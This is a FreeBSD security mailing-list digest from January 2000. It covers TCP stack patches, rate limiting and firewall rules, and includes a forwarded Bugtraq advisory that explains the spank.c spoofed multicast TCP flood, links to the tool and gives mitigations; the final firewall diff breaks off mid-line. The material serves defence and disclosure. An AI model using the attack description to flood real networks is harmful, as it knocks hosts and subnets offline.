#ifdef INET6 > : : if (isipv6) { > : : MALLOC(sin6, struct sockaddr_in6 *, sizeof *sin6, > : > : In the above section, the 'goto drop' was removed. Shouldn't that stay > : in? The body of this 'if' statement is now the conditional that > : follows it, which is not what I think you meant to do. > > You are right.... Uggg, the indenting there is somewhat less than > optimal. Will have ot fix that later. However, here's the corrected > patch. > > Warner > > Index: netinet/tcp_input.c > =================================================================== > RCS file: /home/imp/FreeBSD/CVS/src/sys/netinet/tcp_input.c,v > retrieving revision 1.103 > diff -u -r1.103 tcp_input.c > --- netinet/tcp_input.c 2000/01/15 14:56:35 1.103 > +++ netinet/tcp_input.c 2000/01/25 17:35:13 > @@ -615,10 +615,6 @@ > break; > } > } I like this except for the fact that ICMP_BANDLIM isn't on by default, we shouldn't ship something that can fall over. This just adds "yet one more thing" an admin must tweak to have a safe/usable box. I do agree that the code for it should be marked so that people using our stack for reference can maybe define NOICMP_BANDLIM and get the less self-preserving code. Imagine if our inetd didn't offer rate limiting unless it was compiled with certain defines. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 11:34:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 2188514F57 for ; Tue, 25 Jan 2000 11:34:35 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA71614; Tue, 25 Jan 2000 11:34:12 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001251934.LAA71614@gndrsh.dnsmgr.net> Subject: Re: Merged patches In-Reply-To: <200001251733.JAA04770@apollo.backplane.com> from Matthew Dillon at "Jan 25, 2000 09:33:16 am" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Tue, 25 Jan 2000 11:34:11 -0800 (PST) Cc: imp@village.org (Warner Losh), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > :this patch. I'm thinking seriously of removing the ICMP_BANDLIM > :option as an option (eg compile the code in no matter what), but > :raising the limit from 100 to 1000 or something like that so it won't > :normally impact people, but those desiring to harden their servers can > :drift the number downward. > : > :Comment? > : > :Warner > > I'd increase the default to 200, no higher. 1000 is probably too > high a rate. > > I found a bug in the patch: > > : #endif > :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) > :- goto drop; > :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || > :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || > :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) And yet another bugger.... you just made it impossible for anyone doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD using TCP without hacking the kernel code. Please remove the last check here. This one is best handled by ipfw or ipfilter, not by kernel policy. These are _NOT_ multicast addresses, they are simple ``reserved'' for expermintal usage! -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 11:42:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 58C6C15337 for ; Tue, 25 Jan 2000 11:42:34 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA07140; Tue, 25 Jan 2000 12:42:31 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA05742; Tue, 25 Jan 2000 12:42:19 -0700 (MST) Message-Id: <200001251942.MAA05742@harmony.village.org> To: "Rodney W. Grimes" Subject: Re: Merged patches Cc: dillon@apollo.backplane.com (Matthew Dillon), security@FreeBSD.ORG In-reply-to: Your message of "Tue, 25 Jan 2000 11:34:11 PST." <200001251934.LAA71614@gndrsh.dnsmgr.net> References: <200001251934.LAA71614@gndrsh.dnsmgr.net> Date: Tue, 25 Jan 2000 12:42:19 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001251934.LAA71614@gndrsh.dnsmgr.net> "Rodney W. Grimes" writes: : And yet another bugger.... you just made it impossible for anyone : doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD : using TCP without hacking the kernel code. Please remove the : last check here. OK. I was unsure of that part, but I'll kill it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 12:31:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1C6E014D5A for ; Tue, 25 Jan 2000 12:31:48 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id NAA11257; Tue, 25 Jan 2000 13:31:22 -0700 (MST) Message-Id: <4.2.2.20000125132053.01a5edb0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 13:31:20 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Merged patches Cc: Warner Losh , security@FreeBSD.ORG In-Reply-To: <200001251855.KAA05770@apollo.backplane.com> References: <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> <4.2.2.20000125113518.01a59100@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:55 AM 1/25/2000 , Matthew Dillon wrote: >:> So we do multiple tests, so what? Not only will GCC potentially >:> optimize the code, >: >:I have never seen GCC optimize tests of the individual bits of a word >:into a switch. > > Because a 'switch' table lookup is often more expensive then a sequence > of conditionals. No -- because it doesn't know how. If you cast the series of tests as a switch, the compiler is capable of rendering the code either as a sequence of conditionals or as a jump table. (In most cases, it will recognize the efficiency of a jump table and use one, but if there is some reason why a jump table would NOT be more efficient, it will also recognize that.) If you use individual tests, the compiler won't be able to pick the best method for you. :Caching isn't the issue. Conditional jumps trigger pipeline interlocks >:and stalls. A bunch of them in a row is a worst case. It locks up even the >:best superscalar CPUs because the pipelines are tied in knots and you can only >:do so much speculative execution. Doing a switch eliminates the pipeline >:"train wreck" and at the same time parallelizes the tests in a completely >:portable way. As an ASM programmer, I see MASSIVE speedups when I do this -- >:usually an order of magnitude at least. > > This is not true if the conditionals are ordered for the critical path. > This is especially not true on the i386 architecture which implements > nearly 0-cost branches in the branch-cache case. This is a general TCP input routine. ALL packets enter here. The critical path is situational, so it pays to make all of the paths fast. Due to the way modern processors are architected, an indexed jump is as fast as a conditional jump and does not create dependencies or stall pipelines. So, the critical path is still optimal with a jump table in most cases. Again, if for some reason it is not on a specific architecture, the compiler can render the switch as a series of conditional jumps. > This is not necessarily true. A jump table usually destroys the > branch-cache for the main branch-to-jump-table and can be slower > then a sequence of conditionals that have been ordered for the critical > path. Again, you cannot order conditionals for "the" critical path here. And references to a jump table, because they do not rely on condition flags, can be pipelined and executed in parallel with other instructions. And the jump table itself enters the cache if used frequently. The net result: the code incurs less overhead than a conditional jump. I invite you to experiment with this yourself; as an author of optimized assembly language, I have. Or see Abrash, who notes the same result in his book "The Zen Of Assembly Language." --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 12:40:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id A3D8A15215 for ; Tue, 25 Jan 2000 12:40:04 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id NAA11380; Tue, 25 Jan 2000 13:39:55 -0700 (MST) Message-Id: <4.2.2.20000125133808.019fd6a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 13:39:53 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Merged patches Cc: Warner Losh , security@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org P.S. -- In any event, the even greater advantage of using switches is an enhanced ability to cover all cases and to verify code correctness (and completeness) by inspection. If one can do this AND improve performance, it's a serious win. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 13:15:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 101ED14C87 for ; Tue, 25 Jan 2000 13:15:16 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com for ; Tue, 25 Jan 2000 15:12:57 -0600 Message-Id: <4.2.0.58.20000125151430.01234f10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Tue, 25 Jan 2000 15:15:16 -0600 To: freebsd-security@FreeBSD.ORG From: Tim Yardley Subject: Fwd: multicasts from hell Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thought this might interest some of you... since all the multicast talk is going on. /tmy >Approved-By: aleph1@SECURITYFOCUS.COM >Delivered-To: bugtraq@lists.securityfocus.com >Delivered-To: bugtraq@securityfocus.com >X-Sender: yardley@students.uiuc.edu >X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 >Date: Tue, 25 Jan 2000 09:39:47 -0600 >Reply-To: Tim Yardley >Sender: Bugtraq List >From: Tim Yardley >Subject: multicasts from hell >X-To: bugtraq@securityfocus.com >To: BUGTRAQ@SECURITYFOCUS.COM > >a new look... multicasts from hell.. courtesy of spank.c >by Tim Yardley [yardley@uiuc.edu -- lst @ efnet] > >--------------------------------------------------- >:: temp remedy (exec summary) >--------------------------------------------------- > >If you use ipfilter... This *MAY* help you... but the issue is quite a bit >different than the previous issue. > >-- start rule set -- >block in quick proto tcp from any to any head 100 >block in quick proto tcp from 224.0.0.0/28 to any group 100 >pass in quick proto tcp from any to any flags S keep state group 100 >pass out proto tcp from any to any flags S keep state >pass in all >-- end rule set -- > >optionally, a rule like the following could be inserted to handle outgoing >packets (if they send from the firewall somehow) but you have bigger >problems than the attack if that is the case. > >-- start additional rule -- >block out proto tcp from any to 224.0.0.0/28 >-- end additional rule -- > >That will help you "stop" the attack (actually it will just help minimize >the affects), although it will still use some CPU though > >Note: If you use IPFW, there is no immediate way to solve this problem due >to the fact that it is a stateless firewall and you are dealing with >packets that are being forged with invalid (or possibly even valid >flags). You can however use IPFW or any other firewall to block out >packets from multicasts. If you are getting attacked, then temporarily use >ipfilter (or any other state based firewall) to slow the affects, ie keep >track of the states. Otherwise, wait for vendor patches or read more about >the explanation for other possible workarounds. > >-- ipfw rule for multicasts (with cars for the command and interface -- >change accordingly) --- >$fwcmd add deny all from 224.0.0.0/28 to any via ${oif} >-- end ipfw rule -- > >FreeBSD "unofficial patch" by Don Lewis: >http://solid.ncsa.uiuc.edu/~liquid/patch/don_lewis_tcp.diff > >------------------------------------------------ >:: explanation of spank.c attack >------------------------------------------------ > >NOTE: For this attack to work, you must have multicast enabled on the >network that you are attacking from, otherwise the packets should just get >dropped. The adverse affect of this, is that it seems to destroy the local >net, and the affect on the remote net is unknown (since the localnet dies >too quickly). This could become a problem with distributed DoS systems >because if a host on your internal net is compromised, then they can bring >your entire internal net down to a screaching halt. > >This is a tad different than the previous release. Stream/Raped mearly >flooded the host with ack's (or no flags) and came from random ips with >random sequence numbers and/or ack numbers. The difference now is that >this not only does the previous stuff, but also directly attacks from and >to multicast addresses as well. There are also options to randomize the >attack more. Just as before, rate limiting should be done to counteract its >effect (the same idea as ICMP_BANDLIM).. and also the multicast handling in >the stack should be checked to verify that it is behaving properly. > >The attacker specifies the port[s] that they want to send the attack to, >depending on what ports are selected, you will have different net >results. If the port is an open port, then you will possibly have a longer >kernel path to follow before the drop. Therefore, a smart attacker will >hit open ports, but havoc can also come about from random ports due to >states and processing. > >In the best case scenario, you will experience only the lag of the flood >and the lag of the processing (currently) and then be fine when the >attacker stops, In the worst case, you lockup, kill the network, and >possibly have to reboot. Once you patch it, you deal with a lot less >processing time (the drops are handled without the RST flag when >appropriate -- bandlim type idea). In other words, you go to the drop >routine instead of dropwithrst silencing your response, which decreases >your processing time, the hit on your network, and the effect of the flood >(once a threshold is reached, all those bad packets are silently dropped >and the attack has less of a net effect). There are issues with not >producing RST's since they were put into the specs for a reason, so blindly >dropping all RST's is not a good plan. > >The filters that were presented at the beginning of this email will block >all multicast packets that come in (and possibly out) of the tcp stack. I >have been getting mailed a lot about the previous attack. It should be >noted that receiving a packet with no flags is considered an illegal packet >(obviously) and is often dumped, however, as we have seen in the past.. >illegal packets often wreak havoc and often go untested. Hence the >reasoning behind the '-r' flag of this. > >There is very little that "raped.c" or "stream.c" actually showed as >problems in the TCP/IP stacks. The true problem lies more in the effects >of the response (caused by the attack). This is the same concept as the >SYN floods of yesteryear, and the same type of thing will be done to handle >it. The main difference is that it will be on a simpler note because there >isn't much need for a "cookie" based system. One should just throttle the >response of the reset packets which in turn will help stop the storm that >you generate and in general, harden the tcp/ip stack to behave the way it >is supposed to in adverse conditions. > >The main effect of this attack is that you are shooting back RST+ACK's at >all the spoofed hosts. In the case of the new attacks, this happens to >mean that you are directing them at multicast addresses. Obviously, a lot >of these hosts will not exist and you will get ICMP unreaches (as an >example) bounced back at you. There are other possibilities as well, but >unreach would be the most common (redirects might be common as well >although i did not spend the time to analyze that). The ones that don't >respond back may send you some packets back as well (depending on if the >port was valid or not and what their firewall rules are). This type of >attack is complicated by the multicasts, and the effect is amplified as >well. All in all, it becomes very nasty very quick. Basically, this >causes a nice little storm of packets, in the ideal case. > >Note that I said ideal case in the previous paragraph. This is not always >the observed behavior. It all depends on what is on the subnet, what type >of packets are recieved, what rules and filters you have setup, and even >the duration of the flood. It has been pointed out several times that the >machine will go back to normal once the attack is stopped, which is exactly >why something like ICMP_BANDLIM will work. > >I have also been asked a lot about what this "bug" affects. I have seen it >have effects on *BSD, Linux, Solaris, and Win* as far as OS's go (due to >the previous stuff). The new multicast code seems to affect the local lan >(routers, gateways, and switches) more so than it affects anything else but >due to how it works (when it works), it is somewhat difficult to >test. Therefore, no blame is being directly placed on any specific >platform or architecture. Entire subnets have "disappeared" briefly after >the attack and have required route purgings to correct the issue. The >multicast attack seems to be more deadly to the network than the previous >attack and its affects get amplified and even carried over to the rest of >the network (bypassing secluded network bounds). I don't have more >specifics on the systems affected because of the difficulty in testing it >(and keeping the network up) since I do not have local access to the >networks that I tested on, and remote access gets real ugly real >fast. Everyone elses mileage may vary... but I have seen results under 2 >different types of configurations. > >Another possibility that has been suggested as to why some machines die is >that the machine's route table is being blown up by the spoofed >packets. Each spoofed packet has a different source address which means >that a temporary route table entry is being created for each one. These >entries take time to timeout. Use 'vmstat -m' and check the 'routetbl' >field while the attack is going on. > >Route table entries can be controlled somewhat under freebsd with: > >[root@solid]::[~] sysctl -a | fgrep .rt >net.inet.ip.rtexpire: 3600 >net.inet.ip.rtminexpire: 10 >net.inet.ip.rtmaxcache: 128 > >You can do the following, to help if the route table is at least part of >the problem: > >sysctl -w net.inet.ip.rtexpire=2 >sysctl -w net.inet.ip.rtminexpire=2 > >Things that will help: > >1 -- drop all multicast packets (ingress and egress) that are addressed to >the tcp stack because multicasts are not valid for tcp >2 -- extend bandwidth limiting to include RST's, ACK's and anything else >that you feel could affect the stability of the machine. >3 -- dont look for listening sockets if the packet is not a syn > >I hope that this helps, or explains a little more at least. > >----------------------- >:: conclusion >----------------------- > >This bug was found in testing. It seems a bit more lethal than the >previous and should be addressed as such. Patches should be available now, >but I do not follow all the platforms. > >-------------------- >:: references >-------------------- > >This was done independantly, although some of the analysis and reverse >engineering of concept was done by other people. As a result, I would like >to give credit where credit is due. The following people contributed in >some way or another: > >Brett Glass >Alfred Perlstein >Warner Losh >Darren Reed >Don Lewis > >Also, I would like to send shouts out to w00w00 (http://www.w00w00.org/) > >------------------- >:: attached >------------------- >These programs are for the sake of full disclosure, don't abuse >them. Spank was written with libnet, so you will need to obtain that as well. > >for an "unofficial" patch: >http://solid.ncsa.uiuc.edu/~liquid/patch/don_lewis_tcp.diff > >for spank.c: >http://solid.ncsa.uiuc.edu/~liquid/code/spank.c > >NOTE: These are just temp locations. They will not be there forever and I >reserve the right to remove them at anytime. > >/tmy > > >-- Diving into infinity my consciousness expands in inverse > proportion to my distance from singularity > >+-------- ------- ------ ----- ---- --- -- ------ --------+ >| Tim Yardley (yardley@uiuc.edu) >| http://www.students.uiuc.edu/~yardley/ >+-------- ------- ------ ----- ---- --- -- ------ --------+ -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 13:18:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id A29CB1537A for ; Tue, 25 Jan 2000 13:18:20 -0800 (PST) (envelope-from jflowers@ezo.net) Received: from lily.ezo.net (jflowers@localhost.ezo.net [127.0.0.1]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id QAA04148; Tue, 25 Jan 2000 16:17:49 -0500 (EST) Date: Tue, 25 Jan 2000 16:17:49 -0500 (EST) From: Jim Flowers To: Brad Guillory Cc: freebsd-security@FreeBSD.ORG Subject: Re: Skip, Natd, Ipfw, and VPN Nomads (long) In-Reply-To: <20000125113623.A85740@baileylink.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you aren't interested in nomads logging on to an NT network or using network neighborhood (you can still map drives) then you are OK. You are also OK if you don't need to use natd for Internet browsing with internal hosts but then why have natd at all. Otherwise, unless you can figure out a way to tell outbound client browsing packets to use natd and to tell logon server SMB messages to bypass natd on their way back to the nomad, you are sol. Unfortunately, they both belong to the class of destination address = any. You could use the source address of the logon server to bypass natd but now you can't also have -redirect_port capabilities. Jim Flowers #4 ISP on C|NET, #1 in Ohio On Tue, 25 Jan 2000, Brad Guillory wrote: > Jim, > > Don't you think that using an extra interface is favorable to using > two FreeBSD boxes. I imaging that you would not even have to use > a real second interface. This is a very detailed implementation, > and I appreciate it much because I am about to have to configure > a skip vpn with nomad (DHCP ADSL users). I have only allocated one > at the POP to accomplish this so I am hoping that I am not wrong. > > BMG > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 13:53:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 731CE14EB8 for ; Tue, 25 Jan 2000 13:53:10 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id NAA04275; Tue, 25 Jan 2000 13:52:34 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id NAA17243; Tue, 25 Jan 2000 13:52:33 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id NAA09279; Tue, 25 Jan 2000 13:52:32 -0800 (PST) Message-ID: <388E1C3F.B2056E81@softweyr.com> Date: Tue, 25 Jan 2000 14:57:19 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh Cc: geniusj , security@freebsd.org Subject: Re: Merged patches References: <200001251726.KAA04563@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Warner Losh wrote: > > In message geniusj writes: > : This patch does not seem to apply, using 3.4-STABLE branch did patch < > : kern.patch from /sys, it applies, but many hunks failed.. Will this be the > : official patch? You were the one working on it, no? :) > > This patch is for -current only. If a different one is needed for > stable, we'll deal with that then. We're 3 days from code freeze, and > I want to get something good into 4.0 to help limit the damage here. I'm importing this patch to a -STABLE machine now. Hold your horses, I should be ready to post it in another hour or two. It's already running on my laptop, but I want to make sure it applies cleanly against the most up-to-date -STABLE I can get from cvsup8, to avoid complaints. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 13:54:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 8B484153AF for ; Tue, 25 Jan 2000 13:53:39 -0800 (PST) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.2/8.9.2) id NAA66515; Tue, 25 Jan 2000 13:53:18 -0800 (PST) From: Archie Cobbs Message-Id: <200001252153.NAA66515@bubba.whistle.com> Subject: Re: tcpdump In-Reply-To: <388C79F9.1F129231@eclipse.net.uk> from Stuart Henderson at "Jan 24, 2000 04:12:41 pm" To: sh@eclipse.net.uk (Stuart Henderson) Date: Tue, 25 Jan 2000 13:53:18 -0800 (PST) Cc: robinson@netrinsics.com (Michael Robinson), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Stuart Henderson writes: > > * (BTW, please don't send us patches to print the packet out in ascii) > > > > I've just finished with my latest version of such patches. Does that make > > me some sort of E133t H4x0r or something? > > Not really, since the original tcpdump will spit forth ascii without > much trouble anyway. (Your mod is better though, since you lose the decode > of packet headers if you just do this by setting -w-). So.. how do you get tcpdump to spit forth ascii? -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 14:27: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 31ED1159E5 for ; Tue, 25 Jan 2000 14:26:20 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id OAA16202; Tue, 25 Jan 2000 14:50:40 -0800 (PST) Date: Tue, 25 Jan 2000 14:50:40 -0800 From: Alfred Perlstein To: Tim Yardley Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: multicasts from hell Message-ID: <20000125145040.Z26520@fw.wintelcom.net> References: <4.2.0.58.20000125151430.01234f10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.2.0.58.20000125151430.01234f10@students.uiuc.edu>; from yardley@uiuc.edu on Tue, Jan 25, 2000 at 03:15:16PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Tim Yardley [000125 14:04] wrote: > Thought this might interest some of you... since all the multicast talk is > going on. > > /tmy > > >Approved-By: aleph1@SECURITYFOCUS.COM > >Delivered-To: bugtraq@lists.securityfocus.com > >Delivered-To: bugtraq@securityfocus.com [message about sending tcp multicast packets snipped] The patches that Warner is about to apply ought to address this issue. About it killing routers and how we deal with forwarding such packets through our routing code probably deserves some investigation. -Alfred > >Another possibility that has been suggested as to why some machines die is > >that the machine's route table is being blown up by the spoofed > >packets. Each spoofed packet has a different source address which means > >that a temporary route table entry is being created for each one. These > >entries take time to timeout. Use 'vmstat -m' and check the 'routetbl' > >field while the attack is going on. > > > >Route table entries can be controlled somewhat under freebsd with: > > > >[root@solid]::[~] sysctl -a | fgrep .rt > >net.inet.ip.rtexpire: 3600 > >net.inet.ip.rtminexpire: 10 > >net.inet.ip.rtmaxcache: 128 > > > >You can do the following, to help if the route table is at least part of > >the problem: > > > >sysctl -w net.inet.ip.rtexpire=2 > >sysctl -w net.inet.ip.rtminexpire=2 > > > >Things that will help: > > > >1 -- drop all multicast packets (ingress and egress) that are addressed to > >the tcp stack because multicasts are not valid for tcp > >2 -- extend bandwidth limiting to include RST's, ACK's and anything else > >that you feel could affect the stability of the machine. > >3 -- dont look for listening sockets if the packet is not a syn > > > >I hope that this helps, or explains a little more at least. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 14:36:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 88AE214D45 for ; Tue, 25 Jan 2000 14:36:36 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id OAA71995; Tue, 25 Jan 2000 14:32:40 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001252232.OAA71995@gndrsh.dnsmgr.net> Subject: Re: more complete ipfw rules In-Reply-To: <388D7516.C4EB676@rug.ac.be> from Tony Voet at "Jan 25, 2000 11:04:06 am" To: Tony.Voet@rug.ac.be (Tony Voet) Date: Tue, 25 Jan 2000 14:32:40 -0800 (PST) Cc: freebsd-security@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The Mad Scientist wrote: > > > > I have this commented-out line in my ruleset. > > #$fwcmd add 550 deny log ip from 169.254.0.0/16 to any in via ${out_if} > > Don't quite remember what it's for. I hope it's not another wasted class > > B. Can anyone enlighten me? > > This IETF draft answers your question: > > http://www.ietf.org/internet-drafts/draft-manning-dsua-01.txt And that draft produces the following patch for review: Index: rc.firewall =================================================================== RCS file: /home/ncvs/src/etc/rc.firewall,v retrieving revision 1.28 diff -u -r1.28 rc.firewall --- rc.firewall 1999/12/04 01:27:51 1.28 +++ rc.firewall 2000/01/25 22:30:08 @@ -110,9 +110,9 @@ ############ # set these to your network and netmask and ip - net="192.168.4.0" + net="192.0.2.0" mask="255.255.255.0" - ip="192.168.4.17" + ip="192.0.2.1" # Allow any traffic to or from my own net. ${fwcmd} add pass all from ${ip} to ${net}:${mask} @@ -155,27 +155,39 @@ # set these to your outside interface network and netmask and ip oif="ed0" - onet="192.168.4.0" - omask="255.255.255.0" - oip="192.168.4.17" + onet="192.0.2.0" + omask="255.255.255.240" + oip="192.0.2.1" # set these to your inside interface network and netmask and ip iif="ed1" - inet="192.168.3.0" - imask="255.255.255.0" - iip="192.168.3.17" + inet="192.0.2.16" + imask="255.255.255.240" + iip="192.0.2.17" # Stop spoofing ${fwcmd} add deny all from ${inet}:${imask} to any in via ${oif} ${fwcmd} add deny all from ${onet}:${omask} to any in via ${iif} # Stop RFC1918 nets on the outside interface - ${fwcmd} add deny all from 192.168.0.0:255.255.0.0 to any via ${oif} - ${fwcmd} add deny all from any to 192.168.0.0:255.255.0.0 via ${oif} - ${fwcmd} add deny all from 172.16.0.0:255.240.0.0 to any via ${oif} - ${fwcmd} add deny all from any to 172.16.0.0:255.240.0.0 via ${oif} - ${fwcmd} add deny all from 10.0.0.0:255.0.0.0 to any via ${oif} - ${fwcmd} add deny all from any to 10.0.0.0:255.0.0.0 via ${oif} + ${fwcmd} add deny all from 10.0.0.0/8 to any via ${oif} + ${fwcmd} add deny all from any to 10.0.0.0/8 via ${oif} + ${fwcmd} add deny all from 